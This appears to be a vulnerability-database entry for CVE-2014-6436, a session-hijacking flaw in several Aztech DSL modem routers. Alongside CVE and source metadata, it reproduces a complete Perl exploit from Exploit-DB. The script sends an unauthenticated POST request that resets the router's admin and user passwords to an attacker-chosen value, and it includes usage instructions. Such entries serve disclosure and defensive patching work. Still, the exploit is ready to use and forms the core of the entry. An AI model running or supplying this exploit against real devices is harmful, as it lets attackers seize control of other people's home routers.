ID

VAR-E-201409-0073


CVE

cve_id:CVE-2014-6436

Trust: 2.4

cve_id:CVE-2014-6435

Trust: 0.5

cve_id:CVE-2014-6437

Trust: 0.5

sources: BID: 69811 // PACKETSTORM: 128254 // EXPLOIT-DB: 39316 // EDBNET: 60272

EDB ID

39316


TITLE

Aztech Modem Routers - Session Hijacking - Hardware remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 39316

DESCRIPTION

Aztech Modem Routers - Session Hijacking. CVE-2014-6436CVE-111433 . remote exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 39316

AFFECTED PRODUCTS

vendor:aztechmodel:modem routersscope: - version: -

Trust: 1.0

vendor:aztechmodel:dsl5018en dsl705e dsl705euscope:eqversion://

Trust: 0.5

sources: PACKETSTORM: 128254 // EXPLOIT-DB: 39316

EXPLOIT

source: https://www.securityfocus.com/bid/69811/info

Multiple Aztech Modem Routers are prone to a session-hijacking vulnerability.

An attacker can exploit this issue to gain unauthorized access to the affected device.

#!/usr/bin/perl
# Title: Aztech Modem Broken Session Management Exploit
# Author: Eric Fajardo - fjpfajardo@ph.ibm.com
#
# A successful authentication of a privilege (admin) ID in the
# web portal allows any attacker in the network to hijack and
# reuse the existing session in order to trick and allow the web
# server to execute administrative commands. The command may be
# freely executed from any terminal in the network as long as
# the session of the privilege ID is valid. The below PoC shows
# an un-authenticated request to the web server for an administrator
# and user password reset.
#
# This exploit was tested working with the following modems:
# - DSL5018EN(1T1R) from Globe Telecom
# - DSL705E
# - DSL705EU

use strict;
use IO::Socket;

if(!defined($ARGV[0])) {
system ('clear');
print "---------------------------------------------\n";
print "++ Aztech Modem Broken Session Management Exploit\n";
print "++ Usage: perl $0 TARGET:PORT NEWPASSWORD\n";
print "++ Ex: perl $0 192.168.254.254:80 h4rh4rHaR\n\n";
exit;
}

my $TARGET = $ARGV[0];
my $NEWPASS = $ARGV[1];
my ($HOST, $PORT)= split(':',$TARGET);
my $PATH = "/cgi-bin/admAccess.asp";

system ('clear');
print "---------------------------------------------\n";
print "++ Sending POST string to $TARGET ...\n";

my $PAYLOAD = "saveFlag=1&adminFlag=1&SaveBtn=SAVE&uiViewTools_Password=$NEWPASS&uiViewTools_PasswordConfirm=$NEWPASS&uiViewTools_Password1=$NEWPASS&uiViewTools_PasswordConfirm1=$NEWPASS";
my $POST = "POST $PATH HTTP/1.1";

my $ACCEPT = "Accept: text/html, application/xhtml+xml, */*";
my $REFERER = "Referer: http://$HOST/cgi-bin/admAccess.asp";
my $LANG = "Accept-Language: en-US";
my $AGENT = "User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25";
my $CONTYPE = "Content-Type: application/x-www-form-urlencoded";
my $ACENCODING = "Accept-Encoding: gzip, deflate";
my $PROXYCONN = "Proxy-Connection: Keep-Alive";
my $CONNLENGTH = "Content-Length: 179";
my $DNT = "DNT: 1";
my $TARGETHOST = "Host: $HOST";
my $PRAGMA = "Pragma: no-cache";

my $sock = new IO::Socket::INET ( PeerAddr => "$HOST",PeerPort => "$PORT",Proto => "tcp"); die "[-] Can't creat socket: $!\n" unless $sock;

print $sock "$POST\n";
print $sock "$ACCEPT\n";
print $sock "$REFERER\n";
print $sock "$LANG\n";
print $sock "$AGENT\n";
print $sock "$CONTYPE\n";
print $sock "$ACENCODING\n";
print $sock "$PROXYCONN\n";
print $sock "$CONNLENGTH\n";
print $sock "$DNT\n";
print $sock "$TARGETHOST\n";
print $sock "$PRAGMA\n\n";
print $sock "$PAYLOAD\n";

print "++ Sent. Connect to the web URL http://$HOST with user:admin password:$NEWPASS\n";
$sock->close();
exit;

Trust: 1.0

sources: EXPLOIT-DB: 39316

EXPLOIT LANGUAGE

pl

Trust: 0.6

sources: EXPLOIT-DB: 39316

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 39316

TYPE

Session Hijacking

Trust: 1.0

sources: EXPLOIT-DB: 39316

TAGS

tag:exploit

Trust: 0.5

tag:denial of service

Trust: 0.5

tag:vulnerability

Trust: 0.5

sources: PACKETSTORM: 128254

CREDITS

Eric Fajardo

Trust: 0.6

sources: EXPLOIT-DB: 39316

EXTERNAL IDS

db:NVDid:CVE-2014-6436

Trust: 2.4

db:EXPLOIT-DBid:39316

Trust: 1.9

db:BIDid:69811

Trust: 1.9

db:EDBNETid:60272

Trust: 0.6

db:NVDid:CVE-2014-6435

Trust: 0.5

db:NVDid:CVE-2014-6437

Trust: 0.5

db:PACKETSTORMid:128254

Trust: 0.5

sources: BID: 69811 // PACKETSTORM: 128254 // EXPLOIT-DB: 39316 // EDBNET: 60272

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2014-6436

Trust: 2.1

url:https://www.securityfocus.com/bid/69811/info

Trust: 1.0

url:https://www.exploit-db.com/exploits/39316/

Trust: 0.6

url:https://nvd.nist.gov/vuln/detail/cve-2014-6435

Trust: 0.5

url:https://nvd.nist.gov/vuln/detail/cve-2014-6437

Trust: 0.5

url:https://www.exploit-db.com/exploits/39316

Trust: 0.3

sources: BID: 69811 // PACKETSTORM: 128254 // EXPLOIT-DB: 39316 // EDBNET: 60272

SOURCES

db:BIDid:69811
db:PACKETSTORMid:128254
db:EXPLOIT-DBid:39316
db:EDBNETid:60272

LAST UPDATE DATE

2022-07-27T09:32:44.363000+00:00


SOURCES UPDATE DATE

db:BIDid:69811date:2014-09-23T00:01:00

SOURCES RELEASE DATE

db:BIDid:69811date:2014-09-15T00:00:00
db:PACKETSTORMid:128254date:2014-09-15T19:44:56
db:EXPLOIT-DBid:39316date:2014-09-15T00:00:00
db:EDBNETid:60272date:2014-09-15T00:00:00